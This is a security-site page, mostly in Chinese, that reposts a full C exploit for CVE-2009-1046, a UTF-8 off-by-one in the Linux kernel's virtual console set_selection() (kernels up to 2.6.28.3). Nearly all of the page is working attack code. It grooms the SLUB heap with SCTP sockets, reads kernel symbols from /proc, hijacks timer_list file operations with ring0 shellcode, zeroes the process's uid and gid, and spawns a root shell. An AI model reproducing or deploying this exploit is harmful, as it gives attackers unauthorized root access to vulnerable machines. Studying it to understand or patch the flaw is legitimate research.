首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel <= 2.6.28.3 set_selection() UTF-8 Off By One Local Exploit
来源:sgrakkyu antifork.org 作者:sgrakkyu 发布时间:2009-07-10  

/* CVE-2009-1046 Virtual Console UTF-8  set_selection() off-by-one(two) Memory Corruption
 * Linux Kernel <= 2.6.28.3
 *
 * coded by: sgrakkyu <at> antifork.org
 * http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html
 *
 * Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow
 *
 * NOTE-1: you need a virtual console attached to the standard output (stdout)
 * - physical login
 * - ptrace() against some process with the same uid already attached to a VC
 * - remote management ..
 *
 * NOTE-2: UTF-8 character used is: U+253C - it seems to be supported in most standard console fonts
 * but if it's _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines)
 * If you use an unsupported character expect some sort of recursive fatal ooops:)
 *
 * Designed to be built as x86-64 binary only (SLUB ONLY)
 * SCTP stack has to be available
 *
 * Tested on target:
 * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
 * Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server)
 * Fedora Core 10 x86_64 (default installed kernel - without selinux)
 *
 */


#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <linux/tiocl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <sched.h>
#include <unistd.h>
#include <fcntl.h>

#ifndef __x86_64__
#error "Architecture Unsupported"
#error "This code was written for x86-64 target and has to be built as x86-64 binary"
#else

#ifndef __u8
#define __u8  uint8_t
#endif
#ifndef __u16
#define __u16 uint16_t
#endif
#ifndef __u32
#define __u32 uint32_t
#endif
#ifndef __u64
#define __u64 uint64_t
#endif


#define STREAM_ZERO 10
#define STREAM_ZERO_ALT 12

#define SCTP_STREAM 22
#define STACK_SIZE 0x1000
#define PAGE_SIZE 0x1000
#define STRUCT_PAGE  0x0000000000000000
#define STRUCT_PAGE_ALT 0x0000000100000000
#define CODE_PAGE      0x0000000000010000
#define LOCALHOST "127.0.0.1"
#define KMALLOC "kmalloc-128"
#define TIMER_LIST_FOPS "timer_list_fops"

#define __msg_f(format, args...) \
  do { fprintf(stdout, format, ## args); } while(0)

#define __msg(msg) \
  do { fprintf(stdout, "%s", msg); } while(0)

#define __fatal_errno(msg) \
do { perror(msg); __free_stuff(); exit(1); } while(0)

#define __fatal(msg) \
do { fprintf(stderr, msg); __free_stuff(); exit(1); } while(0)

 

#define CJUMP_OFF 13
char ring0[]=
"\x57"                                      //    push   %rdi
"\x50"                                      //    push   %rax
"\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"      //    mov    %gs:0x0,%rdi
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41"  //    mov   xxx, %rax
"\xff\xd0"                                  //    callq  *%rax
"\x58"                                      //    pop    %rax
"\x5f"                                      //    pop    %rdi
"\xc3";                                     //    retq


/* conn struct */
static __u16 srvport;
struct sockaddr_in server_s;
static struct sockaddr_in caddr;

/* some fds.. */
static int g_array[10];
static int fd_zmap_srv=-1;
static int kmalloc_fd=-1;
static int unsafe_fd[4] = {-1,-1,-1,-1};

/* misc */
static int dorec = 0, cankill=1, highpage=0;
static char cstack[STACK_SIZE*2];
static __u16 zstream=STREAM_ZERO;
static __u32 uid,gid;
static __u64 fops;
static pid_t child=0;
static char symbuf[20000];

static void __free_stuff()
{
  int i;
  for(i=3; i<2048; i++)
  {
    if((unsafe_fd[0] == i || unsafe_fd[1] == i ||
       unsafe_fd[2] == i || unsafe_fd[3] == i))
        continue;

    close(i);
  }
}

static void bindcpu()
{
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(0, &set);
 
  if(sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0)
    __fatal_errno("setaffinity");
}

/* parse functions are not bof-free:) */
static __u64 get_fops_addr()
{
  FILE* stream;
  char fbuf[256];
  char addr[32];
 
  stream = fopen("/proc/kallsyms", "r");
  if(stream < 0)
    __fatal_errno("open: kallsyms");

  memset(fbuf, 0x00, sizeof(fbuf));
  while(fgets(fbuf, 256, stream) > 0)
  {
    char *p = fbuf;
    char *a = addr;
    memset(addr, 0x00, sizeof(addr));
    fbuf[strlen(fbuf)-1] = 0;
    while(*p != ' ')
      *a++ = *p++; 
    p += 3;
    if(!strcmp(p, TIMER_LIST_FOPS))
      return strtoul(addr, NULL, 16);
  }

  return 0;
}

static int get_total_object(int fd)
{
  char name[32];
  char used[32];
  char total[32];
  char *ptr[] = {name, used, total};
  int ret,i,toread=sizeof(symbuf)-1;
  char *p = symbuf;

  lseek(fd, 0, SEEK_SET);
  memset(symbuf, 0x00, sizeof(symbuf));
  while( (ret = read(fd, p, toread)) > 0)
  {
    p += ret;
    toread -= ret;
  }

  p = symbuf;
  do
  {
    for(i=0; i<sizeof(ptr)/sizeof(void*); i++)
    {
      char *d = ptr[i];
      while(*p != ' ')
        *d++ = *p++;  
      *d = 0;
      while(*p == ' ')
        p++;
    }
   
    while(*p++ != '\n');
 
    if(!strcmp(KMALLOC, name))
      return atoi(total); 

  } while(*p != 0);
  return 0;
}


static void ring0c(void* t)
{
  int i;
  __u32 *p = t;
  for(i=0; i<1100; i++,p++)
  {
      if(p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
         p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
         {
           p[0] = p[1] = p[2] = p[3] = 0;
           p[4] = p[5] = p[6] = p[7] = 0;
           /* dont care about caps */
           break;
         }
  }
}


static int get_kmalloc_fd()
{
  int fd;
  fd = open("/proc/slabinfo", O_RDONLY);
  if(fd < 0)
    __fatal_errno("open: slabinfo");
  return fd;
}


static int write_sctp(int fd, struct sockaddr_in *s, int channel)
{
  int ret;
  ret = sctp_sendmsg(fd, "a", 1,
               (struct sockaddr *)s, sizeof(struct sockaddr_in),
               0, 0, channel, 0 ,0);
  return ret;
}


static void set_sctp_sock_opt(int fd, __u16 in, __u16 out)
{
  struct sctp_initmsg msg;
  int val=1;
  socklen_t len_sctp = sizeof(struct sctp_initmsg);
  getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
  msg.sinit_num_ostreams=out;
  msg.sinit_max_instreams=in;
  setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
  setsockopt(fd, SOL_SCTP, SCTP_NODELAY, (char*)&val, sizeof(val));
}


static int create_and_init(void)
{
  int fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(fd < 0)
    __fatal_errno("socket: sctp");
  set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);
  return fd;
}


static void connect_peer(int fd, struct sockaddr_in *s)
{
  int ret;
  ret = connect(fd, (struct sockaddr *)s, sizeof(struct sockaddr_in));
  if(ret < 0)
    __fatal_errno("connect: one peer");
}


static void conn_and_write(int fd, struct sockaddr_in *s, __u16 stream)
{
  connect_peer(fd,s);
  write_sctp(fd, s, stream);
}


static int clone_thread(void*useless)
{
  int o = 1;
  int c=0,idx=0;
  int fd, ret;
  struct sockaddr_in tmp;
  socklen_t len;

  bindcpu();
  server_s.sin_family = PF_INET;
  server_s.sin_port = htons(srvport);
  server_s.sin_addr.s_addr = inet_addr(LOCALHOST);

  fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(fd < 0)
    return -1;

  set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);  
  setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o));

  ret = bind(fd, (struct sockaddr *)&server_s, sizeof(struct sockaddr_in));
  if(ret < 0)
    return -1;

  ret = listen(fd, 100);
  if(ret < 0)
    return -1;

  len = sizeof(struct sockaddr_in);
  while((ret = accept(fd, (struct sockaddr *)&tmp, &len)) >= 0)
  {
    if(dorec != 0 && c >= dorec && idx < 10)
    {
      g_array[idx] = ret;
      if(idx==9)
      {
        fd_zmap_srv = ret;
        caddr = tmp;
        break;
      }
      idx++;
    }
    c++;  
    write_sctp(ret, &tmp, zstream);
  }
 
  sleep(1);
  return 0;
}


static int do_mmap(unsigned long base, int npages)
{
  void*addr = mmap((void*)base, PAGE_SIZE*npages,
                   PROT_READ|PROT_WRITE|PROT_EXEC, 
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  if(MAP_FAILED == addr)
    return -1;

  memset(addr, 0x00, PAGE_SIZE*npages);
 
  return 0;
}

pid_t start_listener()
{
  pid_t pid;
  pid = clone(clone_thread, cstack+STACK_SIZE-8,
              CLONE_VM|CLONE_FILES|SIGCHLD, NULL);
 
  return pid;
}

static void do_socks(struct sockaddr_in *s, __u16 stream)
{
  int i,fd;
  int n_objs = get_total_object(kmalloc_fd), tmp_n_objs;
  int next=8;

  for(i=0; next != 0; i++)
  {
    fd = create_and_init();

    tmp_n_objs = get_total_object(kmalloc_fd);
    if(!dorec && tmp_n_objs != n_objs)
      dorec=i;

    conn_and_write(fd, s, stream);
    if(dorec)
      next--;
  }
}


static void clr(int fd)
{
  /* use termcap instead..*/
  write(fd, "\33[H\33[J", 6); 
}

static char tiobuffer[2048];
void alloc_tioclinux()
{
  int i;
  char out[128*3];
  /* Unicode Character 'BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL' (U+253C) */
  char utf8[3] = { 0xE2, 0x94, 0xBC }; 
  //char utf8[3] = { 0xE2, 0x80, 0xBC }; 
  struct tiocl_selection *sel;
  char *t;
  void *v = malloc(sizeof(struct tiocl_selection) + 1);
  t = (char*)v;
  sel = (struct tiocl_selection *)(t+1);
  memset(out, 0x41, sizeof(out));
  for(i=0; i<128; i++)
  {
    tiobuffer[(i*3)]=utf8[0];
    tiobuffer[(i*3)+1]=utf8[1];
    tiobuffer[(i*3)+2]=utf8[2];
  }

  *t = TIOCL_SETSEL;
  sel->xs = 1;
  sel->ys = 1;
  sel->xe = 43;
  //sel->xe = 42; /* no overflow */
  sel->ye = 1;
 
  write(1, tiobuffer, sizeof(tiobuffer));
  if(ioctl(1, TIOCLINUX, v) < 0)
    __fatal("[!!] Unable to call TIOCLINUX ioctl(), need stdout to be on a virtual console\n");
}

 

static void migrate_evil_fd()
{
  int i;
  pid_t child;

  __msg("[**] Migrate evil unsafe fds to child process..\n");
  child = fork();
  if(!child)
  {

    /* preserve evil fds */
    setsid();
    if(!cankill) /* cant die .. */
      while(1)
        sleep(1);
    else
    {
      sleep(10); /* wait execve() before */
      for(i=0; i<4; i++)
        close(unsafe_fd[i]);

      exit(1);
    }
  }
  else
  {
    if(!cankill)
      __msg_f("[**] Child process %d _MUST_ NOT die ... keep it alive:)\n", child);
  }
}


static void trigger_fault()
{
  char *argv[]={"/bin/sh", NULL};
  int fd,i;

  fd = open("/proc/timer_list", O_RDONLY);
  if(fd >= 0)
  {
    ioctl(fd, 0, 0);
    __free_stuff();
    migrate_evil_fd();
   
    for(i=0; i<4; i++)
      close(unsafe_fd[i]);

    if(!getuid())
    {
      __msg("[**] Got root!\n");
      execve("/bin/sh", argv, NULL);
    }
  }
  else
  {
    __msg("[**] Cannot open /proc/timer_list");
    __free_stuff();
  }
}

 

static void overwrite_fops( int sender,
                            struct sockaddr_in *to_receiver,
                            int receiver)
{
  char *p = NULL;
  if(!highpage)
    p++;
  else
    p = (void*)STRUCT_PAGE_ALT;

  __u64 *uip = (__u64*)p; 
  *uip = fops;
  write_sctp(sender, to_receiver, 1); 
  sleep(1);
  trigger_fault();
}

static __u16 get_port()
{
  __u16 r = (__u16)getpid();
  if(r <= 0x400)
    r+=0x400;
  return r;
}

int main(int argc, char *argv[])
{
  int peerx, peery,i;
  __u64 *patch;

  srvport = get_port();

  uid=getuid();
  gid=getgid();
  fops=get_fops_addr() + 64;
  if(!fops)
  {
    __msg("[!!] Unable to locate symbols...\n");
    return 1;
  }

  __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c);
  patch = (__u64*)(ring0 + CJUMP_OFF);
  *patch = (__u64)ring0c;

  __msg_f("[**] Using port: %d\n", srvport);
  __msg("[**] Getting slab info...\n");
  kmalloc_fd = get_kmalloc_fd();
  if(!get_total_object(kmalloc_fd))
    __fatal("[!!] Only SLUB allocator supported\n");
 

  __msg("[**] Mapping Segments...\n");
  __msg("[**] Trying mapping safe page...");
  if(do_mmap(STRUCT_PAGE, 1) < 0)
  {
    __msg("Page Protection Present (Unable to Map Safe Page)\n");
    __msg("[**] Mapping High Address Page (dont kill placeholder child)\n");
    if(do_mmap(STRUCT_PAGE_ALT, 1) < 0)
      __fatal_errno("mmap");

    cankill=0;  /* dont kill child owning unsafe fds.. */
    highpage=1; /* ssnmap in higher pages */
    zstream=STREAM_ZERO_ALT;
  }
  else
    __msg("Done\n");

  __msg("[**] Mapping Code Page... ");
  if(do_mmap(CODE_PAGE, 1) < 0)
    __fatal_errno("mmap");
  else
    __msg("Done\n");

  memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));

  __msg("[**] Binding on CPU 0\n");
  bindcpu();

  __msg("[**] Start Server Thread..\n");
  child = start_listener();
  sleep(3);
 
  do_socks(&server_s, zstream);
  for(i=0; i<7; i++)
  {
    close(g_array[8-1-i]); 
  }
  clr(1);
  alloc_tioclinux(); // trigger overflow
  peerx = create_and_init();
  connect_peer(peerx, &server_s);
  peery = create_and_init();
  connect_peer(peery, &server_s);
 
  sleep(1);

  unsafe_fd[0] = peerx;
  unsafe_fd[1] = g_array[8];
  unsafe_fd[2] = peery;
  unsafe_fd[3] = g_array[9];
 
  __msg("\n");
  __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv);
  __msg_f("[**] Unsafe  fd: ( ");

  for(i=0; i<4; i++)
    __msg_f("%d ", unsafe_fd[i]);
  __msg(")\n");
 

  __msg("[**] Hijacking fops...\n");
  overwrite_fops(fd_zmap_srv, &caddr, peery);

  /* if u get here.. something nasty happens...may crash..*/
  __free_stuff();
  __msg("[**] Exploit failed.. freezing process\n");
  kill(getpid(), SIGSTOP);
  return 0;
}

#endif


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft DirectShow (msvidctl
·Nwahy Dir 2.1 Arbitrary Change
·otsAV DJ 1.85.064 (.ofl File)
·Rcmd.vbs 1.01修正版
·Mlffat 2.2 Remote Blind SQL In
·MySQL version 5.0.45 suffers f
·TalkBack 2.3.14 Multiple Remot
·Universe CMS 1.0.6 (vnews.php
·Microsoft Internet Explorer (A
·Remote blind SQL injection exp
·PatPlayer 3.9 (M3U File) Local
·Photo DVD Maker Pro <= 8.02 (.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved